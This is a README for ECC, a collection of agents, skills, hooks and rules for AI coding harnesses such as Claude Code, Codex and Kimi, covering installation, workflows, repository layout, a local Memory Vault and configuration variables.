\n~/.claude/bin/codeagent-wrapper~/.claude/.ccg/prompts/*Without ccg-workflow, these multi-* commands will not run correctly.
/astra-review sends Claude-written code to GPT-6-Astra for an independent cross-provider review. It runs the locally installed Codex CLI with your ChatGPT login (codex login); no OpenAI API key is needed, and API keys in your environment are not forwarded. Invoking the command is your consent to send that diff to OpenAI. Setup, scopes, push gating, and troubleshooting are in the Astra Review Guide.
If you installed from the universal package, run these commands from the same project directory used for installation:
\nnpx ecc-universal@2.2.3 list-installed\nnpx ecc-universal@2.2.3 doctor\nnpx ecc-universal@2.2.3 repair\nnpx ecc-universal@2.2.3 uninstall --dry-run\nnpx ecc-universal@2.2.3 uninstall\nFrom a source checkout, inspect the managed state before reinstalling:
\nnode scripts/ecc.js list-installed\nnode scripts/ecc.js doctor\nnode scripts/ecc.js repair\nnode scripts/ecc.js uninstall --dry-run\nFor a direct source-checkout uninstall:
\nnode scripts/uninstall.js --dry-run\nnode scripts/uninstall.js\nIf you are leaving, the uninstall command prints an optional 20-second feedback form. It is a public GitHub issue, never blocks uninstall, and ECC does not upload diagnostics. You can also run ecc feedback at any time to see the problem, feedback, and feature routes.
Plugin users should remove the plugin from Claude Code, then delete only the rule folders they manually copied and no longer want. ECC only removes files recorded in its install-state. It does not claim unrelated files in your harness directories.
\nIf you stacked methods, clean up in this order:
\nStart with the workflow you need, not the full catalog.
\n| What you are doing | \nStart here | \n
|---|---|
| Building a feature | \n/ecc:plan \"describe the feature\", then tdd-workflow | \n
| Fixing a bug | \nReproduce it with a failing test, then use tdd-workflow | \n
| Reviewing new code | \n/code-review for a fresh-context review | \n
| Repairing a build | \n/build-fix | \n
| Cleaning a codebase | \n/refactor-clean | \n
| Checking context pressure | \n/context-budget | \n
| Ending a long session | \n/save-session or /learn-eval | \n
| Resuming later | \n/resume-session | \n
| Auditing agent config | \n/security-scan with a reviewed scanner, or installed agentshield scan --path . | \n
Claude Code plugin commands use the namespaced form:
\n/ecc:plan \"Add authentication\"\nManual installs may expose the shorter compatibility form:
\n/plan \"Add authentication\"\nSkills are the primary workflow surface. Commands remain convenient entry points and compatibility shims. Check what is installed with:
\n/plugin list ecc@ecc\nSkills are the canonical workflow surface; maintained slash entries stay available for command-first workflows.
\n| I want to... | \nUse this surface | \nAgent used | \n
|---|---|---|
| Plan a new feature | \n/ecc:plan \"Add auth\" | \n planner | \n
| Design system architecture | \n/ecc:plan + architect agent | \n architect | \n
| Write code with tests first | \ntdd-workflow skill | \n tdd-guide | \n
| Review code I just wrote | \n/code-review | \n code-reviewer | \n
| Fix a failing build | \n/build-fix | \n build-error-resolver | \n
| Run end-to-end tests | \ne2e-testing skill | \n e2e-runner | \n
| Find security vulnerabilities | \n/security-scan | \n security-reviewer | \n
| Remove dead code | \n/refactor-clean | \n refactor-cleaner | \n
| Update documentation | \n/update-docs | \n doc-updater | \n
| Review Go code | \n/go-review | \n go-reviewer | \n
| Review Python code | \n/python-review | \n python-reviewer | \n
| Review F# code | \n(invoke fsharp-reviewer directly) | \n fsharp-reviewer | \n
| Review TypeScript/JavaScript code | \n(invoke typescript-reviewer directly) | \n typescript-reviewer | \n
| Develop HarmonyOS apps | \n(invoke harmonyos-app-resolver directly) | \n harmonyos-app-resolver | \n
| Audit database queries | \n(auto-delegated) | \ndatabase-reviewer | \n
| Review production ML changes | \nmle-workflow skill + mle-reviewer agent | \n mle-reviewer | \n
Slash forms below are shown where they remain part of the maintained command surface. Retired short-name shims such as /tdd and /eval live in legacy-command-shims/ for explicit opt-in only.
Starting a new feature:
\n/ecc:plan \"Add user authentication with OAuth\"\n -> planner creates implementation blueprint\ntdd-workflow skill -> tdd-guide enforces write-tests-first\n/code-review -> code-reviewer checks your work\nFixing a bug:
\ntdd-workflow skill -> tdd-guide: write a failing test that reproduces it\n -> implement the fix, verify test passes\n/code-review -> code-reviewer: catch regressions\nPreparing for production:
\n/security-scan -> security-reviewer: OWASP Top 10 audit\ne2e-testing skill -> e2e-runner: critical user flow tests\n/test-coverage -> verify 80%+ coverage\nECC works through each harness's normal configuration, so you can use an official provider, a compatible custom API endpoint or model gateway, or a self-hosted model without changing ECC's workflows.
\nFor Claude Code, ECC does not hardcode Anthropic-hosted transport settings. Minimal gateway example:
\nexport ANTHROPIC_BASE_URL=https://your-gateway.example.com\nexport ANTHROPIC_AUTH_TOKEN=your-token\nclaude\nIf your gateway remaps model names, configure that in Claude Code rather than in ECC. ECC's hooks, skills, commands, and rules are model-provider agnostic once the claude CLI is already working. See Anthropic's LLM gateway documentation and model configuration documentation.
Run or self-host any open-source model behind that gateway using separate compute and serving setup. If you need GPU capacity, It\u00f4 is ECC's preferred compute sponsor; any GPU provider works. The sponsorship link is passive: it does not invoke an RFQ, reserve capacity, provision compute, or configure serving. Separately, ecc ito find invokes the explicitly configured canonical It\u00f4 CLI and submits a live authenticated RFQ; it does not reserve capacity. Managed inference through It\u00f4 is not live yet.
The Kimi Code harness and the model-serving layer are separate. ECC configures the agent harness; you bring an API endpoint (get a Kimi API key) or self-host an open-weight Kimi model on your own GPU capacity. This adapter is verified against Kimi Code 0.31.x (@moonshot-ai/kimi-code):
| \n \n \n 1. Get GPU capacity Use It\u00f4 or any GPU provider. | \n \n \n \n 2. Serve Kimi Expose the chosen checkpoint through a compatible endpoint. | \n 3. Run Kimi Code with ECC Install project instructions and skills, then start Kimi Code. | \n
Configure the endpoint with Kimi Code's official provider guide, then install ECC:
\nbash ./install.sh --target kimi --profile minimal\nnode scripts/ecc.js doctor --target kimi\nkimi\nKimi Code discovers the installed .kimi-code/AGENTS.md instructions and .kimi-code/skills/ workflows natively; project-level .agents/skills/ is also an official discovery location. ECC safely merges project MCP entries into .kimi-code/mcp.json and does not change the user-level ~/.kimi-code/config.toml. Kimi Code supports native hooks, but ECC's current managed-project adapter does not configure them, so this installer does not offer Kimi hook profiles. The installer dry-run and regression suite verify that every managed Kimi write stays inside the project-local .kimi-code/ root.
ecc ito delegates to the separately installed canonical It\u00f4 client; ECC does not maintain a second API client. ecc ito login [--no-browser] performs device authorization, opens the It\u00f4 verification page by default, and persists a device token in macOS Keychain; --no-browser suppresses the page handoff. ECC itself does no browser automation. ecc ito auth is validation-only and rejects --no-browser. The available operations are ecc ito login, ecc ito auth, ecc ito find, ecc ito status, and the separately gated ecc ito evals. The matching MCP tools remain ito_auth, ito_find, and ito_status; ito_auth validates existing credentials and node qualification is CLI-only.
The ito-compute-cli package is currently unpublished. Build it locally from the It\u00f4 runtime repo (private while the desk hardens; design partners get access) under cli/ito-compute-cli, run npm ci and npm run check, then set ECC_ITO_CLI_EXECUTABLE to that build's absolute dist/bin/ito.js path. Login never inherits ITO_API_KEY; auth, find, and status forward ITO_API_KEY directly when configured, and ITO_AUTH_MODE=legacy is not required. ecc ito logout revokes the current device credential and retains its local copy if remote revocation cannot be confirmed. Device tokens use macOS Keychain by default; explicit file fallback must retain owner-only directory/file permissions. ECC does not discover this credential-bearing client through PATH. See the ito-compute skill for the full RFQ authority and MCP setup contract.
find submits a live authenticated RFQ. It does not reserve capacity. evals requires both ITO_ENABLE_SIXTYTWO_LIVE=1 and --live-sixtytwo, a separately installed sixtytwo-cli==0.3.33, an explicit node list, and an existing absolute configuration directory. It cannot rent, launch, recover, repair, or purchase. ECC exposes no quote lock, purchase, workload, or inference path, and it never replaces a missing client or failed live call with a local result.
Current release: 2.2.3 (2026-10-01). Highlights of the 2.2 line:
\necc memory), and the It\u00f4 compute skill family.Full history: CHANGELOG.md. Per-release notes and evidence live under docs/releases/.
\nStable graduation of the 2.0 line: control-pane substrate, worktree lifecycle service, the orch-* orchestrator family, and the Discord community. Notes: docs/releases/2.0.0/release-notes.md.
ECC/\n|-- agents/ # 71 specialized subagents for delegation\n|-- skills/ # 311 reusable workflows loaded on demand\n|-- commands/ # 97 maintained slash-command shims\n|-- rules/ # opt-in common and language standards\n|-- hooks/ # runtime automation and enforcement\n|-- scripts/ # install, repair, sync, orchestration, and checks\n|-- .claude-plugin/ # Claude Code marketplace manifest\n|-- .codex/ # Codex reference configuration and agent roles\n|-- .opencode/ # OpenCode plugin, commands, and instructions\n|-- .cursor/ # Cursor rules and hook adapter\n|-- docs/ # public setup, architecture, and operating guides\nThe root is the source of truth. Platform adapters package or map these same workflows instead of maintaining separate copies.
\nECC/\n|-- .claude-plugin/ # Plugin and marketplace manifests\n| |-- plugin.json # Plugin metadata and component paths\n| |-- marketplace.json # Marketplace catalog for /plugin marketplace add\n|\n|-- agents/ # 71 specialized subagents for delegation\n| |-- planner.md # Feature implementation planning\n| |-- architect.md # System design decisions\n| |-- tdd-guide.md # Test-driven development\n| |-- code-reviewer.md # Quality and security review\n| |-- security-reviewer.md # Vulnerability analysis\n| |-- build-error-resolver.md\n| |-- e2e-runner.md # Playwright E2E testing\n| |-- refactor-cleaner.md # Dead code cleanup\n| |-- doc-updater.md # Documentation sync\n| |-- docs-lookup.md # Documentation/API lookup\n| |-- chief-of-staff.md # Communication triage and drafts\n| |-- loop-operator.md # Autonomous loop execution\n| |-- harness-optimizer.md # Harness config tuning\n| |-- cpp-reviewer.md # C++ code review\n| |-- cpp-build-resolver.md # C++ build error resolution\n| |-- fsharp-reviewer.md # F# functional code review\n| |-- go-reviewer.md # Go code review\n| |-- go-build-resolver.md # Go build error resolution\n| |-- python-reviewer.md # Python code review\n| |-- database-reviewer.md # Database/Supabase review\n| |-- typescript-reviewer.md # TypeScript/JavaScript code review\n| |-- java-reviewer.md # Java/Spring Boot code review\n| |-- java-build-resolver.md # Java/Maven/Gradle build errors\n| |-- kotlin-reviewer.md # Kotlin/Android/KMP code review\n| |-- kotlin-build-resolver.md # Kotlin/Gradle build errors\n| |-- harmonyos-app-resolver.md # HarmonyOS/ArkTS app development\n| |-- ruby-reviewer.md # Ruby/Rails code review\n| |-- rust-reviewer.md # Rust code review\n| |-- rust-build-resolver.md # Rust build error resolution\n| |-- pytorch-build-resolver.md # PyTorch/CUDA training errors\n| |-- mle-reviewer.md # Production ML pipeline, eval, serving, and monitoring review\n|\n|-- skills/ # Workflow definitions and domain knowledge\n| |-- coding-standards/ # Language best practices\n| |-- clickhouse-io/ # ClickHouse analytics, queries, data engineering\n| |-- backend-patterns/ # API, database, caching patterns\n| |-- frontend-patterns/ # React, Next.js patterns\n| |-- frontend-slides/ # HTML slide decks and PPTX-to-web presentation workflows\n| |-- article-writing/ # Long-form writing in a supplied voice without generic AI tone\n| |-- content-engine/ # Multi-platform social content and repurposing workflows\n| |-- market-research/ # Source-attributed market, competitor, and investor research\n| |-- osint-investigation/ # OSINT methodology: competing hypotheses, falsification, visual and evidence verification\n| |-- investor-materials/ # Pitch decks, one-pagers, memos, and financial models\n| |-- investor-outreach/ # Personalized fundraising outreach and follow-up\n| |-- continuous-learning/ # Legacy v1 Stop-hook pattern extraction\n| |-- continuous-learning-v2/ # Instinct-based learning with confidence scoring\n| |-- iterative-retrieval/ # Progressive context refinement for subagents\n| |-- strategic-compact/ # Manual compaction suggestions (Longform Guide)\n| |-- tdd-workflow/ # TDD methodology\n| |-- security-review/ # Security checklist\n| |-- eval-harness/ # Verification loop evaluation (Longform Guide)\n| |-- verification-loop/ # Continuous verification (Longform Guide)\n| |-- videodb/ # Video and audio: ingest, search, edit, generate, stream\n| |-- golang-patterns/ # Go idioms and best practices\n| |-- golang-testing/ # Go testing patterns, TDD, benchmarks\n| |-- cpp-coding-standards/ # C++ coding standards from C++ Core Guidelines\n| |-- cpp-testing/ # C++ testing with GoogleTest, CMake/CTest\n| |-- django-patterns/ # Django patterns, models, views\n| |-- django-security/ # Django security best practices\n| |-- django-tdd/ # Django TDD workflow\n| |-- django-verification/ # Django verification loops\n| |-- laravel-patterns/ # Laravel architecture patterns\n| |-- laravel-security/ # Laravel security best practices\n| |-- laravel-tdd/ # Laravel TDD workflow\n| |-- laravel-verification/ # Laravel verification loops\n| |-- python-patterns/ # Python idioms and best practices\n| |-- python-testing/ # Python testing with pytest\n| |-- quarkus-patterns/ # Java Quarkus patterns\n| |-- quarkus-security/ # Quarkus security\n| |-- quarkus-tdd/ # Quarkus TDD\n| |-- quarkus-verification/ # Quarkus verification\n| |-- rails-patterns/ # Rails architecture patterns\n| |-- springboot-patterns/ # Java Spring Boot patterns\n| |-- springboot-security/ # Spring Boot security\n| |-- springboot-tdd/ # Spring Boot TDD\n| |-- springboot-verification/ # Spring Boot verification\n| |-- configure-ecc/ # Interactive installation wizard\n| |-- security-scan/ # AgentShield security auditor integration\n| |-- java-coding-standards/ # Java coding standards\n| |-- jpa-patterns/ # JPA/Hibernate patterns\n| |-- postgres-patterns/ # PostgreSQL optimization patterns\n| |-- nutrient-document-processing/ # Document processing with Nutrient API\n| |-- database-migrations/ # Migration patterns (Prisma, Drizzle, Django, Go)\n| |-- api-design/ # REST API design, pagination, error responses\n| |-- deployment-patterns/ # CI/CD, Docker, health checks, rollbacks\n| |-- docker-patterns/ # Docker Compose, networking, volumes, container security\n| |-- e2e-testing/ # Playwright E2E patterns and Page Object Model\n| |-- content-hash-cache-pattern/ # SHA-256 content hash caching for file processing\n| |-- cost-aware-llm-pipeline/ # LLM cost optimization, model routing, budget tracking\n| |-- regex-vs-llm-structured-text/ # Decision framework: regex vs LLM for text parsing\n| |-- swift-actor-persistence/ # Thread-safe Swift data persistence with actors\n| |-- swift-protocol-di-testing/ # Protocol-based DI for testable Swift code\n| |-- search-first/ # Research-before-coding workflow\n| |-- skill-stocktake/ # Audit skills and commands for quality\n| |-- liquid-glass-design/ # iOS 26 Liquid Glass design system\n| |-- foundation-models-on-device/ # Apple on-device LLM with FoundationModels\n| |-- swift-concurrency-6-2/ # Swift 6.2 Approachable Concurrency\n| |-- mle-workflow/ # Production ML data contracts, evals, deployment, monitoring\n| |-- perl-patterns/ # Modern Perl 5.36+ idioms and best practices\n| |-- perl-security/ # Perl security patterns, taint mode, safe I/O\n| |-- perl-testing/ # Perl TDD with Test2::V0, prove, Devel::Cover\n| |-- autonomous-loops/ # Autonomous loop patterns: sequential pipelines, PR loops, DAG orchestration\n| |-- plankton-code-quality/ # Write-time code quality enforcement with Plankton hooks\n| |-- codehealth-mcp/ # Optional CodeScene Code Health MCP skill (opt-in)\n| |-- docs/examples/project-guidelines-template.md # Template for project-specific skills\n|\n|-- commands/ # Maintained slash-entry compatibility; prefer skills/\n| |-- plan.md # /plan - Implementation planning\n| |-- code-review.md # /code-review - Quality review\n| |-- build-fix.md # /build-fix - Fix build errors\n| |-- refactor-clean.md # /refactor-clean - Dead code removal\n| |-- quality-gate.md # /quality-gate - Verification gate\n| |-- learn.md # /learn - Extract patterns mid-session (Longform Guide)\n| |-- learn-eval.md # /learn-eval - Extract, evaluate, and save patterns\n| |-- checkpoint.md # /checkpoint - Save verification state (Longform Guide)\n| |-- setup-pm.md # /setup-pm - Configure package manager\n| |-- go-review.md # /go-review - Go code review\n| |-- go-test.md # /go-test - Go TDD workflow\n| |-- go-build.md # /go-build - Fix Go build errors\n| |-- skill-create.md # /skill-create - Generate skills from git history\n| |-- instinct-status.md # /instinct-status - View learned instincts\n| |-- instinct-import.md # /instinct-import - Import instincts\n| |-- instinct-export.md # /instinct-export - Export instincts\n| |-- evolve.md # /evolve - Cluster instincts into skills\n| |-- prune.md # /prune - Delete expired pending instincts\n| |-- pm2.md # /pm2 - PM2 service lifecycle management\n| |-- multi-plan.md # /multi-plan - Multi-agent task decomposition\n| |-- multi-execute.md # /multi-execute - Orchestrated multi-agent workflows\n| |-- multi-backend.md # /multi-backend - Backend multi-service orchestration\n| |-- multi-frontend.md # /multi-frontend - Frontend multi-service orchestration\n| |-- multi-workflow.md # /multi-workflow - General multi-service workflows\n| |-- sessions.md # /sessions - Session history management\n| |-- test-coverage.md # /test-coverage - Test coverage analysis\n| |-- update-docs.md # /update-docs - Update documentation\n| |-- update-codemaps.md # /update-codemaps - Update codemaps\n| |-- python-review.md # /python-review - Python code review\n|-- legacy-command-shims/ # Opt-in archive for retired shims such as /tdd and /eval\n| |-- tdd.md # /tdd - Prefer the tdd-workflow skill\n| |-- e2e.md # /e2e - Prefer the e2e-testing skill\n| |-- eval.md # /eval - Prefer the eval-harness skill\n| |-- verify.md # /verify - Prefer the verification-loop skill\n| |-- orchestrate.md # /orchestrate - Prefer dmux-workflows or multi-workflow\n|\n|-- rules/ # Always-follow guidelines (copy to ~/.claude/rules/ecc/)\n| |-- README.md # Structure overview and installation guide\n| |-- common/ # Language-agnostic principles\n| | |-- coding-style.md # Immutability, file organization\n| | |-- git-workflow.md # Commit format, PR process\n| | |-- testing.md # TDD, 80% coverage requirement\n| | |-- performance.md # Model selection, context management\n| | |-- patterns.md # Design patterns, skeleton projects\n| | |-- hooks.md # Hook architecture, TodoWrite\n| | |-- agents.md # When to delegate to subagents\n| | |-- security.md # Mandatory security checks\n| |-- typescript/ # TypeScript/JavaScript specific\n| |-- python/ # Python specific\n| |-- golang/ # Go specific\n| |-- swift/ # Swift specific\n| |-- php/ # PHP specific\n| |-- arkts/ # HarmonyOS / ArkTS specific\n|\n|-- hooks/ # Trigger-based automations\n| |-- README.md # Hook documentation, recipes, and customization guide\n| |-- hooks.json # All hooks config (PreToolUse, PostToolUse, Stop, etc.)\n| |-- memory-persistence/ # Session lifecycle hooks (Longform Guide)\n| |-- strategic-compact/ # Compaction suggestions (Longform Guide)\n|\n|-- scripts/ # Cross-platform Node.js scripts\n| |-- lib/ # Shared utilities\n| | |-- utils.js # Cross-platform file/path/system utilities\n| | |-- package-manager.js # Package manager detection and selection\n| |-- hooks/ # Hook implementations\n| | |-- session-start.js # Load context on session start\n| | |-- session-end.js # Save state on session end\n| | |-- pre-compact.js # Pre-compaction state saving\n| | |-- suggest-compact.js # Strategic compaction suggestions\n| | |-- evaluate-session.js # Extract patterns from sessions\n| |-- setup-package-manager.js # Interactive PM setup\n|\n|-- tests/ # Test suite\n| |-- lib/ # Library tests\n| |-- hooks/ # Hook tests\n| |-- run-all.js # Run all tests\n|\n|-- contexts/ # Dynamic system prompt injection contexts (Longform Guide)\n| |-- dev.md # Development mode context\n| |-- review.md # Code review mode context\n| |-- research.md # Research/exploration mode context\n|\n|-- examples/ # Example configurations and sessions\n| |-- CLAUDE.md # Example project-level config\n| |-- user-CLAUDE.md # Example user-level config\n| |-- saas-nextjs-CLAUDE.md # Real-world SaaS (Next.js + Supabase + Stripe)\n| |-- go-microservice-CLAUDE.md # Real-world Go microservice (gRPC + PostgreSQL)\n| |-- django-api-CLAUDE.md # Real-world Django REST API (DRF + Celery)\n| |-- laravel-api-CLAUDE.md # Real-world Laravel API (PostgreSQL + Redis)\n| |-- rust-api-CLAUDE.md # Real-world Rust API (Axum + SQLx + PostgreSQL)\n|\n|-- mcp-configs/ # MCP server configurations\n| |-- mcp-servers.json # GitHub, Supabase, Vercel, Railway, etc.\n|\n|-- ecc_dashboard.py # Desktop GUI dashboard (Tkinter)\n|\n|-- marketplace.json # Self-hosted marketplace config (for /plugin marketplace add)\nLaunch the desktop dashboard to visually explore ECC components:
\nnpm run dashboard\n# or\npython3 ./ecc_dashboard.py\nFeatures:
\nSubagents handle delegated tasks with limited scope. Example:
\n---\nname: code-reviewer\ndescription: Reviews code for quality, security, and maintainability\ntools: Read, Grep, Glob, Bash\nmodel: opus\n---\n\nYou are a senior code reviewer...\nSkills are the primary workflow surface. They can be invoked directly, suggested automatically, and reused by agents. ECC still ships maintained commands/ during migration, while retired short-name shims live under legacy-command-shims/ for explicit opt-in only. New workflow development should land in skills/ first.
# TDD Workflow\n\n1. Define interfaces first\n2. Write failing tests (RED)\n3. Implement minimal code (GREEN)\n4. Refactor (IMPROVE)\n5. Verify 80%+ coverage\nHooks fire on tool events. Example: warn about console.log:
\n{\n \"matcher\": \"tool == \\\"Edit\\\" && tool_input.file_path matches \\\"\\\\\\\\.(ts|tsx|js|jsx)$\\\"\",\n \"hooks\": [{\n \"type\": \"command\",\n \"command\": \"#!/bin/bash\\ngrep -n 'console\\\\.log' \\\"$file_path\\\" && echo '[Hook] Remove console.log' >&2\"\n }]\n}\nRules are always-follow guidelines, organized into common/ (language-agnostic) + language-specific directories:
rules/\n common/ # Universal principles (always install)\n typescript/ # TS/JS specific patterns and tools\n python/ # Python specific patterns and tools\n golang/ # Go specific patterns and tools\n swift/ # Swift specific patterns and tools\n php/ # PHP specific patterns and tools\n arkts/ # HarmonyOS / ArkTS patterns and constraints\nSee rules/README.md for installation and structure details.
This repo is the raw code. The guides explain everything.
\n| The Shorthand Guide Setup, foundations, and day-one use. Read this first. (thread) | \n The Longform Guide Context economics, memory, evals, and parallel agents. (thread) | \n The Security Guide Prompt injection, hooks, MCP, and AgentShield. (thread) | \n
| Topic | \nWhat You'll Learn | \n
|---|---|
| Token Optimization | \nModel selection, system prompt slimming, background processes | \n
| Memory Persistence | \nHooks that save/load context across sessions automatically | \n
| Continuous Learning | \nAuto-extract patterns from sessions into reusable skills | \n
| Verification Loops | \nCheckpoint vs continuous evals, grader types, pass@k metrics | \n
| Parallelization | \nGit worktrees, cascade method, when to scale instances | \n
| Subagent Orchestration | \nThe context problem, iterative retrieval pattern | \n
Commands Quick Reference | Manual Adaptation Guide | Astra Review Guide | Troubleshooting FAQ | Roadmap
\n| Without a system | \nWith ECC | \n
|---|---|
| Plans disappear into chat history | \nPlans become editable artifacts before implementation starts | \n
| \"Please use TDD\" is an instruction the model may forget | \nTDD becomes a gated RED -> GREEN -> REFACTOR workflow with evidence | \n
| The same context writes and reviews the code | \nA fresh-context reviewer looks for regressions and blind spots | \n
| Memory means saving an enormous transcript | \nSessions are distilled into summaries, instincts, and reusable skills | \n
| Quality checks depend on reminders | \nHooks can enforce deterministic checks outside the prompt | \n
| Agent configuration is trusted by default | \nAgentShield scans the harness itself as an attack surface | \n
/ecc:plan \"Add usage-based billing alerts\"\n -> confirm or edit the plan\n -> activate tdd-workflow\n -> capture RED evidence before implementation\n -> implement until GREEN\n -> review from fresh context\n -> fix findings with regression tests\n -> verify build, lint, types, and tests\nA result is not just code. It's a trail of evidence: the plan, the failing test, the passing test, the review findings, and the final verification.
\nRules, skills, agents, and hooks solve different problems. Keeping those jobs separate is how ECC adds capability without dumping the entire repository into every session.
\n| Concept | \nWhat it does | \nContext behavior | \n
|---|---|---|
| Skills | \nReusable workflows such as TDD, security review, or deep research | \nLoaded when the task needs them | \n
| Agents | \nScoped workers with their own context and tool permissions | \nIsolate planning, implementation, and review | \n
| Rules | \nDurable project or language standards | \nAlways loaded, so install them selectively | \n
| Hooks | \nScripts triggered by harness events | \nRun outside the model context | \n
| Instincts | \nPatterns learned from real sessions with confidence scores | \nRecalled when relevant | \n
ECC's Memory Vault gives Claude, Codex, Hermes, OpenClaw, Kimi, and other harnesses one local, inspectable Markdown format for durable context and handoffs. Project and team memories live under .ecc/memory/; user memories live under ~/.ecc/memory/.
Skill-only, minimal, manual, and Claude plugin installs do not put the Memory Vault runtime on PATH. Install the npm runtime separately before using the CLI or optional MCP server:
npm install -g ecc-universal@2.2.3\necc memory init --scope project\necc memory search \"authentication migration\" --target-harness codex\necc memory doctor\nMemory is unreviewed context, not executable policy. Verify important claims against authoritative sources and promote accepted knowledge into governed project documentation. The optional ecc-memory-mcp server exposes the same bounded save, search, read, and doctor surface without enabling itself by default.
Open the Unified Memory workflow \u2192
\nThe Memory Vault stores portable ecc.memory.v1 Markdown documents instead of copying vendor transcripts or emailing context between agents. Project memories are protected by a fail-closed .gitignore; use the team scope only for human-inspected, version-controlled sharing. Team memories remain unreviewed context even after they are committed.
After installing the runtime above, check that the CLI and optional MCP entry point are available:
\necc memory --help\ncommand -v ecc-memory-mcp\n# Initialize the project vault.\necc memory init --scope project\n\n# Write a handoff body to a regular file, then target the next harness.\necc memory handoff \\\n --from hermes \\\n --target codex \\\n --title \"Continue authentication migration\" \\\n --body-file ./handoff.md\n\n# Recall it from another harness.\necc memory search \"authentication migration\" --target-harness codex\necc memory read <memory-id>\n\n# Validate the vault before sharing team memories.\necc memory doctor\nMemory bodies are accepted only through --stdin or --body-file, not as command-line values. The first release keeps every vault entry unreviewed and create-only; human review promotes accepted knowledge into governed project documentation rather than changing memory trust. Normal search recall returns active project and team memories. A direct ID read may inspect a non-active entry. User-scope recall must be requested explicitly. Agents must verify important claims against authoritative sources and must never treat recalled bodies as executable instructions or policy.
For opt-in MCP access, add the ecc-memory-vault entry from mcp-configs/mcp-servers.json to each harness that needs it, then run ecc-memory-mcp. The server exposes only memory_save, memory_search, memory_read, and memory_doctor. Each server must launch with a lowercase ECC_MEMORY_HARNESS identity; the identity is server-bound and cannot be supplied by a tool caller. User scope additionally requires the operator-controlled ECC_MEMORY_ALLOW_USER_SCOPE=1 opt-in. See skills/unified-memory/SKILL.md for the workflow and trust boundaries, and docs/design/ecc-memory-vault.md for the capability contract.
ECC's core Node.js CLI and managed installers run on Windows, macOS, and Linux, but optional capabilities are not at full parity. Some continuous-learning, GAN, and orchestration paths still require Bash or Python; harnesses also expose different hook, agent, and skill APIs.
\n| Platform | \nStatus | \nCurrent limitation | \n
|---|---|---|
| Linux | \nSupported core | \nOptional features may require Bash, Python, or provider-specific tools. | \n
| macOS | \nSupported core | \nThe standalone GAN shell path is not compatible with the system Bash 3.2 and currently has a score-parsing defect (#2674). | \n
| Windows + WSL | \nSupported core | \nWSL follows the Linux paths; Windows host integrations still vary by harness. | \n
| Windows native | \nSupported with limitations | \nContinuous-learning v2's observer daemon and memory-vault writes have open native-Windows defects (#2489, #2626). Shell-backed optional features require Git Bash/WSL or are unavailable. | \n
Treat stable, beta, experimental, and instruction-only below as capability statements, not marketing tiers.
| Harness | \nStatus | \nRecommended distribution | \nImportant limitation | \n
|---|---|---|---|
| Claude Code | \nStable primary | \nPlugin or selective installer | \nThe plugin advertises the installed catalog to the model; use a selective/manual profile when context footprint matters. Optional shell-backed skills are not portable to every OS. | \n
| Codex | \nSupported native plugin | \nCodex marketplace plugin or repo config | \nNative hooks require an explicit trust decision and do not use Claude's hook profiles. The legacy sync is compatibility-only. | \n
| Qoder | \nSupported native plugin | \nLocal plugin directory in Qoder CLI or ZIP upload in Qoder IDE | \nLoads the canonical skills, agents, commands, and MCP config; only the reviewed SessionStart hook is enabled, and Node.js 18+ must be on the non-interactive PATH. | \n
| Cursor | \nBeta project adapter | \nSelective installer into .cursor/ | \n Agent discovery varies by Cursor build; hook events use profile-gated dispatchers, but full Claude feature parity is not claimed. | \n
| OpenCode | \nBeta built plugin | \nBuild plugin, then selective installer | \nECC ships a subset of the catalog; connect a provider and select a model in OpenCode (#2617). | \n
| GitHub Copilot Chat | \nInstruction-only | \nChecked-in instructions and prompt files | \nECC hooks are not adapted. | \n
| GitHub Copilot CLI | \nBeta project adapter | \n--target copilot places skills and adapted agents in .github/ | \n ECC hooks, rules, and command shims are not installed by this target. | \n
| Gemini, Zed, Antigravity, Qwen, Hermes, OpenClaw, Kimi, CodeBuddy, JoyCode | \nExperimental/minimal adapters | \nHarness-specific selective target | \nFile placement and instruction portability are tested; full Claude feature parity is not claimed. | \n
The plugin automatically detects your preferred package manager (npm, pnpm, yarn, or bun) with the following priority:
\nCLAUDE_PACKAGE_MANAGER.claude/package-manager.jsonpackageManager field~/.claude/package-manager.jsonTo set your preferred package manager:
\n# Via environment variable\nexport CLAUDE_PACKAGE_MANAGER=pnpm\n\n# Via global config\nnode scripts/setup-package-manager.js --global pnpm\n\n# Via project config\nnode scripts/setup-package-manager.js --project bun\n\n# Detect current setting\nnode scripts/setup-package-manager.js --detect\nOr use the /setup-pm command.
Use runtime flags to tune strictness or disable specific hooks temporarily:
\n# Hook strictness profile (default: standard)\nexport ECC_HOOK_PROFILE=standard\n\n# Comma-separated hook IDs to disable\nexport ECC_DISABLED_HOOKS=\"pre:bash:tmux-reminder,post:edit:typecheck\"\n\n# Cap SessionStart additional context (default: 8000 chars)\nexport ECC_SESSION_START_MAX_CHARS=4000\n\n# Disable SessionStart additional context entirely for low-context/local-model setups\nexport ECC_SESSION_START_CONTEXT=off\n\n# Session-tmp retention window in days (default: 30).\n# Set to 0, off, false, disabled, never, or none to keep all sessions (disable pruning).\nexport ECC_SESSION_RETENTION_DAYS=14\n\n# Cap how many learned instincts SessionStart injects into context (default: 6)\nexport ECC_MAX_INJECTED_INSTINCTS=6\n\n# Minimum confidence an instinct needs to be injected, 0-1 (default: 0.7)\nexport ECC_INSTINCT_CONFIDENCE_THRESHOLD=0.7\n\n# SessionStart ranks injected instincts by confidence + project/stack relevance\n# (default: on). Project-scoped instincts, and instincts whose domain/trigger\n# matches the detected stack (languages, frameworks, plus terraform/dbt markers),\n# get a small ranking boost so they surface above unrelated higher-confidence\n# ones. Set to off/false/0/no to rank by confidence alone.\nexport ECC_INSTINCT_RELEVANCE_RANKING=on\n\n# Keep context/scope/loop warnings but suppress API-rate cost estimates\nexport ECC_CONTEXT_MONITOR_COST_WARNINGS=off\nWindows PowerShell:
\n[Environment]::SetEnvironmentVariable('ECC_CONTEXT_MONITOR_COST_WARNINGS', 'off', 'User')\n[Environment]::SetEnvironmentVariable('ECC_SESSION_RETENTION_DAYS', '14', 'User')\nMemory persistence hooks (session summaries, learned skills, session aliases, metrics) store data under a single agent data root. By default that root is ~/.claude. When you use ECC in both Claude Code and Cursor on the same machine, set a separate root for Cursor so the two environments do not overwrite each other's session files:
# Cursor-only boundary (Claude Code keeps the default ~/.claude)\nexport ECC_AGENT_DATA_HOME=\"$HOME/.cursor/ecc\"\nPaths resolved under that root include:
\n$ECC_AGENT_DATA_HOME/session-data/: session summaries$ECC_AGENT_DATA_HOME/skills/learned/: learned skills from evaluate-session$ECC_AGENT_DATA_HOME/session-aliases.json: session aliases$ECC_AGENT_DATA_HOME/metrics/: cost and activity metricsSee affaan-m/ECC#2065.
